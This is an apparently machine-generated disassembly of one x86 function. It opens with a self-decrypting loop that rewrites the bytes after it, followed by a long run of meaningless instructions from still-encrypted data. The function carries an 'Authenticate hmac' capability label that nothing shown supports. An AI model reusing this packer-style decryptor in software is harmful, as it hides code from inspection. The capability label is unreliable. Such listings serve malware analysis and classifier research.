Function at 0x401000
Capabilities:
Authenticate hmac

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0xcb
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
in eax, dx
xor eax, 0xee357635
xor eax, 0xbf353535
dec ebp
mov ch, pe_nt_image_headers32
push cs
mov ebp, 0x36f6b84d
mov eax, 0x2eb636f5
xor al, 0x5c
xor eax, 0xed20aa35
xor eax, 0xf0357545
clc
clc
clc
clc
mov esi, 0xf0aed4d
jne 0x401088
mov eax, 0xf9b835f5
jns 0x40108e
add eax, 0x1df890f8
cmp dh, byte [0x3f1e3535]
xor eax, 0xdee3535
pop esp
jbe 0x4010a2
push ds
mov al, byte [0x9d3535ea]
mov bl, 0x45
jne 0x4010ac
sbb eax, 0x3535fe64
invalid
adc ebx, edx
xor eax, 0x353a1d35
xor eax, 0x353f1e35
xor eax, 0x5d3dee35
sbb eax, 0x3535353a
push ds
aas
xor eax, 0x3dee3535
pop ebp
jbe 0x4010cc
push ds
jbe 0x401084
xor eax, 0x45dd9d35
jne 0x4010d6
sbb eax, 0x3535fe3a
invalid
cmp bh, dh
xor eax, 0xeef88e35
cmp eax, 0x1e35765d
jmp 0x1d75468d
xor eax, 0x35dae91e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765f8dee
xor eax, 0x35ea4c1e
xor eax, 0x7545079d
xor eax, 0x35fd101d
xor eax, 0x8deef88e
pop edi
jbe 0x40110c
adc ch, bh
xor eax, 0xeef88e35
lea ebx, [edi + 0x76]
xor eax, 0x35dabf1e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x7673f5ee
push ds
mov edi, 0x1d3535da
cmp dh, byte [0x3f1e3535]
xor eax, 0xf5ee3535
jae 0x401160
xor eax, 0x35e9221e
xor eax, 0x7545319d
xor eax, 0x35fde61d
xor eax, 0xf5eef88e
jae 0x401176
xor eax, 0x35da951e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x767325ee
aas
xor eax, 0x25ee3535
jae 0x40118a
xor eax, 0x35e9f81e
xor eax, 0x75465b9d
xor eax, 0x35fdbc1d
xor eax, 0x25eef88e
jae 0x4011a0
xor eax, 0x35e1111e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x767455ee
xor eax, 0x35e9ce1e
xor eax, 0x7546859d
xor eax, 0x35fd921d
xor eax, 0x55eef88e
je 0x4011ca
xor eax, 0x35da411e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765fedee
xor eax, 0x35e9a41e
xor eax, 0x7546af9d
xor eax, 0x35fd681d
xor eax, 0xedeef88e
aas
xor eax, 0xedee3535
pop edi
jbe 0x40119e
push ds
movsb byte es:[edi], byte [esi]
jmp 0xafdd46a5
xor eax, 0xeef88e35
in eax, dx
pop edi
jbe 0x4011b4
push ds
pop ss
fnstenv [0x353a1d35]
xor eax, 0x353f1e35
xor eax, 0x7485ee35
jbe 0x4011c8
aas
xor eax, 0x85ee3535
je 0x401208
xor eax, 0x35e97a1e
xor eax, 0x7546d99d
xor eax, 0x35fd3e1d
xor eax, 0x85eef88e
je 0x40121e
push ds
jp 0x40117f
xor eax, 0x46d99d35
jne 0x4011d2
sbb eax, 0x3535fd3e
invalid
std
xor eax, 0xeef88e35
test dword [esi + esi*2 + 0x35], esi
push ds
push ss
loop 0x4011e2
xor eax, 0x35e2161e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765fbdee
xor eax, 0x35e9501e
xor eax, 0x7546039d
xor eax, 0x35fc141d
xor eax, 0xbdeef88e
pop edi
jbe 0x401208
aas
xor eax, 0xbdee3535
pop edi
jbe 0x4011f2
push ds
push eax
jmp 0x3dd46f9
adc al, 0xfc
xor eax, 0xeef88e35
mov ebp, 0x1e35765f
xor eax, 0x35e48f1e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765c7dee
xor eax, 0x35e8261e
xor eax, 0x75462d9d
xor eax, 0x35fcea1d
xor eax, 0x7deef88e
pop esp
jbe 0x401232
push ds
invalid
out dx, al
jge 0x401241
jbe 0x40121c
push ds
call 0x2ddd4723
inc esi
jne 0x401226
sbb eax, 0x3535fcea
invalid
ljmp 0xeef8:0x8e3535fc
push ds
cdq
fnstenv [0x353a1d35]
xor eax, 0x353f1e35
xor eax, 0x5cadee35
aas
xor eax, 0xadee3535
pop esp
jbe 0x401246
push ds
cld
call 0x57dd474d
inc edi
jne 0x401250
sbb eax, 0x3535fcc0
invalid
sar ah, 0x35
xor eax, 0xadeef88e
xor eax, 0xeef88e35
lodsd eax, dword [esi]
pop esp
jbe 0x40125c
xor eax, 0x35e5be1e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765cddee
xor eax, 0x35e8d21e
xor eax, 0x7547819d
xor eax, 0x35fc961d
xor eax, 0xddeef88e
pop esp
jbe 0x401286
push ds
mov esi, 0x1d3535e5
cmp dh, byte [0x3f1e3535]
aas
xor eax, 0xddee3535
pop esp
jbe 0x401270
push ds
shr al, cl
xor eax, 0x47819d35
jne 0x40127a
add dword [edi + 0x75], 0xfc961d35
sbb eax, 0x3535fc96
invalid
xchg esi, eax
cld
xor eax, 0xeef88e35
fstp qword [esi + esi*2 + 0x35]
xor eax, 0x35d9451e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765e95ee
xor eax, 0x35e8a81e
xor eax, 0x7547ab9d
xor eax, 0x35fc6c1d
xor eax, 0x95eef88e
push ds
inc ebp
fnstenv [0x353a1d35]
xor eax, 0x353f1e35
xor eax, 0x5e95ee35
aas
xor eax, 0x95ee3535
pop esi
jbe 0x40129a
push ds
test al, 0xe8
xor eax, 0x47ab9d35
jne 0x4012a4
sbb eax, 0x3535fc6c
invalid
insb byte es:[edi], dx
cld
xor eax, 0xeef88e35
xchg ebp, eax
pop esi
jbe 0x4012b0
xor eax, 0x35e58c1e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765e35ee
xor eax, 0x35e87e1e
xor eax, 0x7547d59d
xor eax, 0x35fc421d
xor eax, 0x35eef88e
pop esi
jbe 0x4012da
push ds
mov ebp, fs
xor eax, 0x353a1d35
xor eax, 0x353f1e35
xor eax, 0x5e35ee35
aas
xor eax, 0x35ee3535
pop esi
jbe 0x4012c4
push ds
jle 0x40127a
xor eax, 0x47d59d35
jne 0x4012ce
sbb eax, 0x3535fc42
invalid
inc edx
cld
xor eax, 0xeef88e35
xor eax, 0x1e35765e
xor eax, 0x35e6e51e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x765e65ee
xor eax, 0x35e8541e
xor eax, 0x7547ff9d
xor eax, 0x35fb181d
xor eax, 0x65eef88e
pop esi
push ds
in eax, 0xe6
xor eax, 0x353a1d35
xor eax, 0x353f1e35
xor eax, 0x5e65ee35
aas
xor eax, 0x65ee3535
pop esi
jbe 0x4012ee
push ds
push esp
call 0xffdd47f5
inc edi
jne 0x4012f8
sbb eax, 0x3535fb18
invalid
sbb bl, bh
xor eax, 0xeef88e35
pop esi
jbe 0x401304
xor eax, 0x35e8701e
xor eax, 0x35353a1d
xor eax, 0x35353f1e
xor eax, 0x7673c5ee
push ds
jo 0x4012ba
xor eax, 0x353a1d35
xor eax, 0x353f1e35
xor eax, 0x73c5ee35
jbe 0x401318
aas
xor eax, 0xc5ee3535
jae 0x401358
xor eax, 0x35e72a1e
xor eax, 0x7547299d
xor eax, 0x35fbee1d
xor eax, 0xc5eef88e
jae 0x40136e
push ds
sub ah, bh
xor eax, 0x47299d35
jne 0x401322
sbb eax, 0x3535fbee
invalid
out dx, al
sti
xor eax, 0xeef88e35
lds esi, [ebx + 0x76]
xor eax, 0x35d89d1e
xor eax, 0x35fd9e1d
xor eax, 0x352feece
xor eax, 0xbf2e2c35
idiv dword [ecx + 0x6f39abf5]
mul byte [edi - 0x3fc91ac9]
out dx, al
das
xor eax, 0x2e2c3535
mov edi, 0xabf5b9f7
cmp dword [edi - 0xa], ebp
cmpsd dword [esi], dword es:[edi]
aaa
in eax, 0x36
rol byte [ecx - 0x763fbaa7], 0x59
cmp eax, 0x3f69c28b
sbb dword [ecx + 0x45], 0x3d5989c0
mov eax, edx
imul edi, dword [edi], 0x4db20370
aas
jo 0x401328
mov dl, 0x4d
ror byte [ecx - 0x4e47c2a7], 0x59
inc ebp
xor eax, 0x395d3aa9
inc esi
mov dword [ecx + 0x3d], ebx
mov eax, 0x354559b1
test eax, 0x46395d3a
and byte [eax], bh
xor eax, 0x70764639
add esi, dword [ecx - 0x74076cdf]
shr byte [ecx + 0x1d8b3d59], 0x4f
std
xor eax, 0xfe688e35
mov edx, 0xbf41b3f5
mov dword [ecx + 0x41], ebx
pop ebp
dec ecx
jbe 0x4013cc
std
mov cl, 0x29
xchg ebx, eax
clc
mov esi, dword [ecx + ebp*4]
pop ecx
cmp eax, 0x35fc301d
xor eax, 0xb11d8575
sti
mov cl, 0xfb
xor eax, 0x59a93435
inc ebp
shl byte [0xfc291d8b], 0x35
xor eax, 0xc045f9b8
sti
xchg ebx, eax
clc
mov esi, dword [ecx + ebp*4]
pop ecx
cmp eax, 0x3434071d
xor al, 0xc0
and eax, 0x1d8b369f
fnsave dword [esp + esi]
xor al, 0xb8
stc
inc ecx
sar bl, 0x93
clc
mov al, al
and ebp, ebp
push ebp
dec ecx
xor eax, 0xfc181d35
xor eax, 0x10688835
outsb dx, byte [esi]
push edx
sub eax, 0x8b357675
mov word [ecx + edi*4 + 9], es
xor eax, 0xb9f33535
xor eax, 0x1d8b3576
sar ah, cl
xor eax, 0x1d857535
push ebx
sti
xor eax, 0x3daa3435
mov esi, 0xbac22d7a
adc eax, 0x85343420
sbb eax, 0x3535fcc5
ret 0x15ba